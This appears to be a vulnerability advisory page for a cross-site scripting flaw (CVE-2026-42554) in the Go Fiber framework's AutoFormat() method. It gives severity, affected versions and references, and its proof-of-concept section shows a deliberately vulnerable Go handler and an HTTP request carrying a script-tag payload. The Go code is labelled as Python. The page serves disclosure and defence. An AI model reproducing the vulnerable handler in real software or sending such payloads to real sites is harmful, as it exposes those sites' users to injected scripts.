CVE-2026-42554

Description

Fiber is a web framework for Go. Prior to 2.52.12 and 3.1.0, Cross-Site Scripting vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply." This vulnerability is fixed in 2.52.12 and 3.1.0.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gofiber:fiber:*:*:*:*:*:go:*:* - VULNERABLE

Go Fiber < 2.52.12

Go Fiber < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Vulnerable Server Code Example
package main

import "github.com/gofiber/fiber/v2"

func main() {
    app := fiber.New()

    app.Get("/api/profile", func(c *fiber.Ctx) error {
        // Attacker controlled data, e.g., from query parameter or database
        userInput := c.Query("name", "Guest")
        // Vulnerable usage of AutoFormat
        return c.AutoFormat(userInput)
    })

    app.Listen(":3000")
}

/*
PoC Request:
GET /api/profile?name=<script>alert(1)</script> HTTP/1.1
Host: target.com
Accept: text/html
Connection: close

Explanation:
By sending 'Accept: text/html', the server is tricked into rendering
the input value directly as HTML without escaping, triggering the XSS payload.
*/

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42554
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42554
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42554/
[4] VulDB https://vuldb.com/cve/CVE-2026-42554
[5] https://github.com/gofiber/fiber/security/advisories/GHSA-qjv7-627w-8qjv
[6] https://github.com/gofiber/fiber/security/advisories/GHSA-qjv7-627w-8qjv

Raw JSON Data

JSON

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